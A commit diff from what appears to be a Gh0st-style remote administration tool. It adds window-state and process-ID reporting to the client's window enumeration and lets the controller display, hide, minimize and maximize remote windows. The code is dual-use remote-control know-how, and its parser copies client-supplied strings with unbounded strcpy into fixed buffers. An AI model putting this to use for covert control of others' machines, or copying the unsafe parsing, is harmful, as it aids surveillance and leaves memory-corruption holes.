Improve: Show all windows status in system dialog

This commit is contained in:
yuanyuanxiang
2026-01-20 23:21:53 +01:00
parent 63266f5dd3
commit 0eba54756b
3 changed files with 111 additions and 20 deletions

View File

@@ -247,32 +247,58 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
DWORD dwLength = 0; DWORD dwLength = 0;
DWORD dwOffset = 0; DWORD dwOffset = 0;
DWORD dwProcessID = 0; DWORD dwProcessID = 0;
LPBYTE szBuffer = *(LPBYTE *)lParam; LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024]; char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle)); memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题 //得到系统传递进来的窗口句柄的窗口标题
GetWindowText(hWnd, szTitle, sizeof(szTitle)); GetWindowText(hWnd, szTitle, sizeof(szTitle));
//这里判断 窗口是否可见 或标题为空 //这里判断 窗口是否可见 或标题为空
if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0) BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
return true; return true;
}
if (lstrlen(szTitle) == 0)
return true;
// ========== 新增:获取窗口属性 ==========
// 窗口状态
const char* szStatus = "normal";
if (IsIconic(hWnd)) {
szStatus = "minimized";
}
else if (IsZoomed(hWnd)) {
szStatus = "maximized";
}
else if (!IsWindowVisible(hWnd)) {
szStatus = "hidden";
}
// 所属进程ID
DWORD dwPid = 0;
GetWindowThreadProcessId(hWnd, &dwPid);
// 拼接属性到标题末尾
// 格式: 标题|状态|PID|保留1|保留2
// 解析时从末尾按 | 分割,保留字段方便未来扩展
char szTitleWithAttrs[1200];
sprintf(szTitleWithAttrs, "%s|%s|%lu|0|0", szTitle, szStatus, dwPid);
// ========== 新增结束 ==========
//同进程管理一样我们注意他的发送到主控端的数据结构 //同进程管理一样我们注意他的发送到主控端的数据结构
if (szBuffer == NULL) if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区 szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区
if (szBuffer == NULL) if (szBuffer == NULL)
return FALSE; return FALSE;
//[消息][4Notepad.exe\0] //[消息][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; dwLength = sizeof(DWORD) + lstrlen(szTitleWithAttrs) + 1; // 使用新标题
dwOffset = LocalSize(szBuffer); //1 dwOffset = LocalSize(szBuffer); //1
//重新计算缓冲区大小 //重新计算缓冲区大小
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE);
if (szBuffer == NULL) if (szBuffer == NULL)
return FALSE; return FALSE;
//下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0 //下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); memcpy((szBuffer + dwOffset), &hWnd, sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitleWithAttrs, lstrlen(szTitleWithAttrs) + 1); // 使用新标题
*(LPBYTE*)lParam = szBuffer;
*(LPBYTE *)lParam = szBuffer;
return true; return true;
} }

Binary file not shown.

View File

@@ -11,7 +11,7 @@
typedef struct ItemData { typedef struct ItemData {
DWORD ID; DWORD ID;
CString Data[3]; CString Data[4];
CString GetData(int index)const CString GetData(int index)const
{ {
return Data[index]; return Data[index];
@@ -84,6 +84,7 @@ BOOL CSystemDlg::OnInitDialog()
m_ControlList.InsertColumn(0, "句柄", LVCFMT_LEFT, 80); m_ControlList.InsertColumn(0, "句柄", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 420); m_ControlList.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 420);
m_ControlList.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 200); m_ControlList.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 200);
m_ControlList.InsertColumn(3, "所属进程ID", LVCFMT_LEFT, 100);
ShowWindowsList(); ShowWindowsList();
} }
@@ -91,6 +92,67 @@ BOOL CSystemDlg::OnInitDialog()
// 异常: OCX 属性页应返回 FALSE // 异常: OCX 属性页应返回 FALSE
} }
// 窗口属性结构体
struct WindowAttrs {
char szTitle[1024]; // 窗口标题
char szStatus[32]; // 状态: normal/minimized/maximized/hidden
DWORD dwPid; // 所属进程ID
int nReserved1; // 保留字段1
int nReserved2; // 保留字段2
};
// 从末尾解析窗口属性(支持标题含 | 字符, 兼容老客户端)
BOOL ParseWindowAttrs(const char* szData, WindowAttrs* attrs) {
if (szData == NULL || attrs == NULL)
return FALSE;
// 初始化默认值
memset(attrs, 0, sizeof(WindowAttrs));
strcpy(attrs->szStatus, "normal");
attrs->dwPid = 0;
attrs->nReserved1 = 0;
attrs->nReserved2 = 0;
char temp[1200];
strcpy(temp, szData);
int len = strlen(temp);
// 从末尾找4个 |
int pipePos[4] = { -1, -1, -1, -1 };
int pipeCount = 0;
for (int i = len - 1; i >= 0 && pipeCount < 4; i--) {
if (temp[i] == '|') {
pipePos[pipeCount++] = i;
}
}
// ========== 兼容老客户端 ==========
if (pipeCount < 4) {
// 老格式:只有标题,没有属性
strcpy(attrs->szTitle, szData);
return TRUE; // 仍返回成功,使用默认值
}
// ========== 兼容结束 ==========
// 新格式:从末尾往前解析
attrs->nReserved2 = atoi(temp + pipePos[0] + 1);
temp[pipePos[0]] = '\0';
attrs->nReserved1 = atoi(temp + pipePos[1] + 1);
temp[pipePos[1]] = '\0';
attrs->dwPid = atol(temp + pipePos[2] + 1);
temp[pipePos[2]] = '\0';
strcpy(attrs->szStatus, temp + pipePos[3] + 1);
temp[pipePos[3]] = '\0';
strcpy(attrs->szTitle, temp);
return TRUE;
}
void CSystemDlg::ShowWindowsList(void) void CSystemDlg::ShowWindowsList(void)
{ {
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
@@ -105,12 +167,16 @@ void CSystemDlg::ShowWindowsList(void)
for ( i = 0; dwOffset <m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) { for ( i = 0; dwOffset <m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) {
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //窗口句柄 LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //窗口句柄
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //窗口标题 szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //窗口标题
WindowAttrs attrs = {};
ParseWindowAttrs(szTitle, &attrs);
str.Format("%5u", *lpPID); str.Format("%5u", *lpPID);
m_ControlList.InsertItem(i, str); CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
m_ControlList.SetItemText(i, 1, szTitle); m_ControlList.InsertItem(i, str); // 句柄
m_ControlList.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示" m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID
// ItemData 为窗口句柄 // ItemData 为窗口句柄
auto data = new ItemData{ *lpPID, {str, szTitle,"显示"} }; auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d) m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1; dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
} }
@@ -358,7 +424,6 @@ void CSystemDlg::OnWlistClose()
DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4 DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
} }
} }
@@ -375,7 +440,7 @@ void CSystemDlg::OnWlistHide()
lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头 lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头
auto data = (ItemData*)pListCtrl->GetItemData(nItem); auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //得到窗口的句柄一同发送 DWORD hwnd = data->ID; //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem,2,"隐藏"); //注意这时将列表中的显示状态为"隐藏" pListCtrl->SetItemText(nItem,2,"hidden"); //注意这时将列表中的显示状态为"隐藏"
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了 //这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow=SW_HIDE; //窗口处理参数 0 DWORD dHow=SW_HIDE; //窗口处理参数 0
@@ -397,7 +462,7 @@ void CSystemDlg::OnWlistRecover()
lpMsgBuf[0]= CMD_WINDOW_TEST; lpMsgBuf[0]= CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem); auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"显示"); pListCtrl->SetItemText(nItem,2,"normal");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_NORMAL; DWORD dHow=SW_NORMAL;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -418,7 +483,7 @@ void CSystemDlg::OnWlistMax()
lpMsgBuf[0]= CMD_WINDOW_TEST; lpMsgBuf[0]= CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem); auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"显示"); pListCtrl->SetItemText(nItem,2,"maximized");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE; DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -439,7 +504,7 @@ void CSystemDlg::OnWlistMin()
lpMsgBuf[0]= CMD_WINDOW_TEST; lpMsgBuf[0]= CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem); auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"显示"); pListCtrl->SetItemText(nItem,2,"minimized");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE; DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));